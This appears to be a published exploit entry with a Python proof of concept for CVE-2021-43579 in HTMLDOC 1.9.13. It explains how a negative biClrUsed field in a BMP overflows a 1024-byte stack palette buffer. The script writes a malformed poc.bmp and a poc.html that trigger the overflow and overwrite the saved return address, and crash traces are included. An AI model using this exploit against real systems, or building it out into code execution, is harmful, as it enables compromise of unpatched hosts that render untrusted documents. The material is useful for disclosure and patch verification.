HTMLDOC 1.9.13 - Stack Buffer Overflow

#!/usr/bin/env python3
# Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow
# Google Dork: N/A
# Date: 2025-08-26
# Exploit Author: wulfgarpro
# Vendor Homepage: https://github.com/michaelrsweet/htmldoc
# Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13
# Version: <= 1.9.13
# Tested on: Linux x86_64
# CVE: CVE-2021-43579
# ==============================================================================
#
# ------------------------------------------------------------------------------
# Summary
# ------------------------------------------------------------------------------
# HTMLDOC's BMP reader (`image_load_bmp`) uses a fixed-size stack buffer for
# the colour palette: 256 * 4 = 1024 bytes.
#
# The `image_load_bmp` function advances past the 14-byte BITMAPFILEHEADER and
# parses the BITMAPINFOHEADER. The attacker-controlled `biClrUsed` field is read
# into an `int` and then directly drives the number of colour palette bytes
# copied into the 1024-byte stack buffer:
#
# ```c
# int colors_used;
# uchar colormap[256][4]; // 1024 bytes
# colors_used = (int)read_dword(fp); // biClrUsed
# fread(colormap, (size_t)colors_used, 4, fp);
# ```
#
# A fix in v1.9.13 only rejected `colors_used > 256`. Negative values are not
# rejected. A negative `colors_used` (e.g. `biClrUsed = 0xffffffff == -1`) is
# cast to `size_t` (wraps to `SIZE_MAX`), so `fread` is asked to copy a huge
# amount into the 1024-byte buffer.
#
# `fread(ptr, size, nmemb, ...)` copies `size * nmemb` bytes. Here the call
# requests `colors_used * 4` bytes. With `biClrUsed = 0xffffffff` (-1),
# `(size_t)colors_used` becomes `SIZE_MAX`, so the call requests an enormous
# read (`size=SIZE_MAX, nmemb=4`). In practice `fread` writes however many bytes
# are available; with our 1088-byte payload it overflows the 1024-byte buffer by
# 64 bytes:
#
# Payload layout:
#
#   * 1080 'A' bytes: fill the 1024-byte stack buffer and a further 56 bytes.
#   *    8 'B' bytes: land on the saved return address on x86_64, producing
#                     `RIP = 0x4242424242424242`.
#
# Example crash without _FORTIFY_SOURCE / stack protector:
#
# ```sh
# ► 0   0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615
#   1 0x4242424242424242 None
#   2              0x1 None
#   3       0x55a5d5e0 None
#   4   0x555555a9ffa0 None
#   5   0x555500000000 None
#   6   0x5555555a989c None
#   7   0x555555a5d5e0 _htmlGlyphs
# ```
#
# With `_FORTIFY_SOURCE=2`, overflow is detected:
#
# ```sh
# *** buffer overflow detected ***: terminated
#
# Program received signal SIGABRT, Aborted.
#
# ► 0   0x7ffff749894c None
#   1   0x7ffff743e410 raise+32
#   2   0x7ffff742557a abort+38
#   3   0x7ffff7426613 None
#   4   0x7ffff7526319 None
#   5   0x7ffff7525c84 None
#   6   0x7ffff7526565 __fread_chk+389
#   7   0x5555555930d9 image_load_bmp(image_t*, _IO_FILE*, int, int)+346
# ```
#
# ------------------------------------------------------------------------------
# Usage
# ------------------------------------------------------------------------------
# 0. Generate the HTML and evil BMP: `python3 CVE-2021-43579.py`
# 1. Trigger via HTMLDOC: `htmldoc --webpage -f out.pdf poc.html`
# ------------------------------------------------------------------------------

# 14-byte BITMAPFILEHEADER
BITMAPFILEHEADER = (
    b"\x42\x4d"  # bfType
    b"\x00\x00\x00\x00"  # bfSize
    b"\x00\x00"  # bfReserved1
    b"\x00\x00"  # bfReserved2
    b"\x00\x00\x00\x00"  # bfOffBits
)

# 40-byte BITMAPINFOHEADER
BITMAPINFOHEADER = (
    b"\x00\x00\x00\x00"  # biSize
    b"\x01\x00\x00\x00"  # biWidth = 0x00000001 (1)
    b"\x01\x00\x00\x00"  # biHeight = 0x00000001 (1)
    b"\x00\x00"  # biPlanes
    b"\x00\x00"  # biBitCount
    b"\x00\x00\x00\x00"  # biCompression
    b"\x00\x00\x00\x00"  # biSizeImage
    b"\x00\x00\x00\x00"  # biXPelsPerMeter
    b"\x00\x00\x00\x00"  # biYPelsPerMeter
    b"\xff\xff\xff\xff"  # biClrUsed = 0xffffffff (-1)
    b"\x00\x00\x00\x00"  # biClrImportant
)

PAYLOAD = b"A" * 1080  # cyclic: uaakvaak
PAYLOAD += b"B" * 8  # RIP overwrite


def generate_poc_bmp():
    with open("poc.bmp", "+wb") as poc_bmp:
        poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD)


def generate_poc_html():
    with open("poc.html", "+w") as poc_html:
        poc_html.write("<html><img src='./poc.bmp'/></html>")


if __name__ == "__main__":
    generate_poc_bmp()
    generate_poc_html()